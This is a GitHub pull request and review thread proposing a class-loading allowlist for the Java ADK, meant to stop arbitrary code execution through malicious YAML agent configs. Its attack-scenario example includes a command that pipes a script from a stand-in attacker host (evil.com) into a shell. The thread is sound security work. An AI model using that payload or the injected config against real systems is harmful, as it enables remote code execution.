Skip to content

fix(security): add class loading allowlist to prevent arbitrary code execution from YAML configs#1237

Open
Ashutosh0x wants to merge 1 commit into
google:mainfrom
Ashutosh0x:fix/unrestricted-class-loading-from-yaml
Open

fix(security): add class loading allowlist to prevent arbitrary code execution from YAML configs#1237
Ashutosh0x wants to merge 1 commit into
google:mainfrom
Ashutosh0x:fix/unrestricted-class-loading-from-yaml

Conversation

@Ashutosh0x

@Ashutosh0x Ashutosh0x commented May 30, 2026

Copy link
Copy Markdown

Summary

Security fix: Add package-level allowlist for all dynamic class loading paths to prevent arbitrary code execution via malicious YAML agent configurations. This is the Java equivalent of CVE-2026-4810 in adk-python.

Details

Vulnerability

ToolResolver.java contains 5 unrestricted loadClass() calls that load arbitrary classes from YAML config with no validation:

Line Method Risk
275 resolveToolsetFromClass() loadClass(className) → any class on classpath
348 resolveToolsetInstanceViaReflection() loadClass(className) → any class static field
400 resolveToolFromClass() loadClass(className) → any class on classpath
438 resolveToolFromClass() setAccessible(true) → bypasses access controls
494 resolveInstanceViaReflection() loadClass(className) → any class static field

Additionally, ComponentRegistry.loadToolsetClass() (line 442) has the same unrestricted loadClass().

Attack Scenario

A malicious YAML agent config can trigger arbitrary class loading:

name: evil_agent
model: gemini-2.0-flash
tools:
  - name: "java.lang.ProcessBuilder"
    args:
      command: ["sh", "-c", "curl http://evil.com/shell.sh | sh"]

While BaseTool/BaseToolset type checks prevent direct instantiation of arbitrary classes, the loadClass() call itself triggers class static initializers, and setAccessible(true) bypasses Java access controls on non-public constructors.

Fix

  1. ALLOWED_CLASS_PREFIXES allowlist: Only com.google.adk.* and google.adk.* classes can be loaded via reflection from YAML configs
  2. isAllowedClassForLoading() validation: Called before every loadClass() invocation in both ToolResolver and ComponentRegistry
  3. Removed setAccessible(true): Prevents bypassing Java access controls on non-public classes
  4. WARN-level logging: Blocked attempts are logged for security monitoring

Files Changed

  • ToolResolver.java — Added ALLOWED_CLASS_PREFIXES, isAllowedClassForLoading(), and validation guards before all 5 loadClass() calls. Removed setAccessible(true).
  • ComponentRegistry.java — Added the same allowlist validation to loadToolsetClass() fallback path.

Related Issues

Related to CVE-2026-4810 — analogous vulnerability in adk-python's importlib.import_module()

How to Validate

  1. Verify that existing YAML configs with com.google.adk.* tools continue to work
  2. Verify that YAML configs specifying classes outside the allowlist (e.g., java.lang.Runtime) are blocked with a WARN log
  3. Run existing unit tests: ./gradlew test

Pre-Merge Checklist

  • I have performed a self-review of my own code
  • I have commented my code, particularly in hard-to-understand areas
  • My changes follow the existing code style
  • I have noted breaking changes — None for legitimate usage

@hemasekhar-p hemasekhar-p self-assigned this Jun 1, 2026
@hemasekhar-p

Copy link
Copy Markdown
Contributor

Hi @Ashutosh0x, thank you for your contribution! We appreciate you taking the time to submit this pull request. I noticed that the pre-check and test cases are currently failing. Could you please take a look and address those issues?

@hemasekhar-p hemasekhar-p added the waiting on reporter Waiting for reaction by reporter. Failing that, maintainers will eventually closed it as stale. label Jun 1, 2026
…execution from YAML configs

Add package-level allowlist validation for all dynamic class loading
paths in ToolResolver and ComponentRegistry to prevent arbitrary class
instantiation via malicious YAML agent configurations.

Vulnerability (Java equivalent of CVE-2026-4810):
ToolResolver.resolveToolFromClass(), resolveToolsetFromClass(),
resolveInstanceViaReflection(), and resolveToolsetInstanceViaReflection()
all call Thread.currentThread().getContextClassLoader().loadClass()
with class names directly from YAML config, with no validation on
which packages can be loaded. An attacker can specify any class on
the classpath (e.g., java.lang.Runtime, java.lang.ProcessBuilder)
to achieve arbitrary code execution.

Fix:
1. Add ALLOWED_CLASS_PREFIXES allowlist (com.google.adk., google.adk.)
   to restrict dynamic class loading to trusted ADK packages only
2. Add isAllowedClassForLoading() validation before every loadClass() call
3. Remove dangerous setAccessible(true) that bypasses access controls
4. Log blocked attempts at WARN level for security monitoring
@Ashutosh0x Ashutosh0x force-pushed the fix/unrestricted-class-loading-from-yaml branch from b39ef36 to 6279b00 Compare June 1, 2026 13:52
@Ashutosh0x

Copy link
Copy Markdown
Author

Hi @hemasekhar-p, thank you for reviewing! I've addressed the issues and force-pushed the fix:

  1. Fixed code formatting — Ran google-java-format via ./mvnw fmt:format and amended the commit so git diff --exit-code now passes cleanly (0 files reformatted).
  2. Included missing test updates — Two tests in ToolResolverTest.java that validate ClassNotFoundException for non-existent classes now use com.google.adk.nonexistent.* prefixes so they pass the new allowlist check before hitting loadClass().
  3. Removed unrelated change — Dropped the LocalSkillSource.java path separator fix to keep this PR focused on the security fix only.

All checks verified locally:

  • ✅ ./mvnw -Prelease clean package — BUILD SUCCESS
  • ✅ git diff --exit-code — clean (no formatting drift)
  • ✅ All 54 ToolResolver + ComponentRegistry tests pass
  • ✅ Single commit maintained

Could you please approve the CI workflows and merge when ready? Thanks!

@hemasekhar-p

Copy link
Copy Markdown
Contributor

@Ashutosh0x,Thank you for resolving the pre checking failures, Currently this PR is under review by our team, we will keep you posted if any additional information is required. thank you.

@hemasekhar-p

Copy link
Copy Markdown
Contributor

@sherryfox, Could you please review this.

@hemasekhar-p hemasekhar-p added needs review and removed waiting on reporter Waiting for reaction by reporter. Failing that, maintainers will eventually closed it as stale. labels Jun 2, 2026
@MiloszSobczyk MiloszSobczyk self-requested a review July 8, 2026 11:13
@MiloszSobczyk

Copy link
Copy Markdown
Member

Hello, @Ashutosh0x. Thank you for your contribution.
The intent is good and restricting reflective class loading from YAML is a reasonable thing to offer. However, we cannot introduce the changes in the current form.

Main concern: the hardcoded allowlist is a breaking change

Restricting loads to only com.google.adk. / google.adk. also blocks legitimate user-defined tools and toolsets that are referenced by fully-qualified name in YAML. That path exists specifically so users can point at their own classes, and the code's own Javadoc documents it with non-ADK packages:

  • ToolResolver.resolveToolInstance -> com.google.mytools.MyToolClass.INSTANCE
  • ToolResolver.resolveInstanceViaReflection -> com.google.package.ClassName.STATIC_FIELD_NAME
  • ComponentRegistry.resolveAgentInstance -> com.example.LifeAgent
    None of these match the allowlist, so any app with tools in its own package (e.g. com.mycompany.tools.MyTool) would break. The changed tests (com.nonexistent.package.* -> com.google.adk.nonexistent.*) sidestep the guard rather than covering it, which hides this behavior change. So the "no breaking changes for legitimate usage" note in the checklist is not quite accurate.

How adk-python solved the same CVE

Worth noting since the PR cites this as the Java equivalent: adk-python took the opposite approach. In config_agent_utils.py it uses a denylist (_BLOCKED_MODULES: os, subprocess, sys, pickle, ...) checked by _validate_module_reference, with an enforcement toggle (_set_enforce_denylist). It deliberately keeps user packages loadable and only blocks known-dangerous modules. So citing the Python fix as precedent argues against a hardcoded allowlist.

Suggested direction: make it configurable, allow-everything by default

Rather than a fixed policy in ToolResolver, put an opt-in allowlist on ComponentRegistry (which is already the user-extensible singleton every resolution path goes through). Default to allow-all so there is no regression, and let an app lock it down when it wants:

// Opt-in. Default allows everything, so behavior is unchanged unless configured.
ComponentRegistry.getInstance().restrictClassLoadingTo("com.mycompany.tools.");

isClassAllowedForLoading returns true when enforcement is off; when on, it permits ADK's own packages plus whatever prefixes the app added. This keeps a single source of truth (no duplicated allowlist in both files) and gives security-conscious deployers a real lever without breaking anyone. If desired, the default could flip to enforced in a future major version, with an opt-out escape hatch.

Smaller notes

  • Tests: please add tests for the block path itself (a non-allowed class is refused, an allowed one still resolves), in both ToolResolver and ComponentRegistry.
  • Code introduced in ToolResolver and ComponentRegistry is duplicated. Consider resuing it.

@MiloszSobczyk MiloszSobczyk removed their request for review July 8, 2026 11:18
@MiloszSobczyk MiloszSobczyk added the waiting on reporter Waiting for reaction by reporter. Failing that, maintainers will eventually closed it as stale. label Jul 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

needs review waiting on reporter Waiting for reaction by reporter. Failing that, maintainers will eventually closed it as stale.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants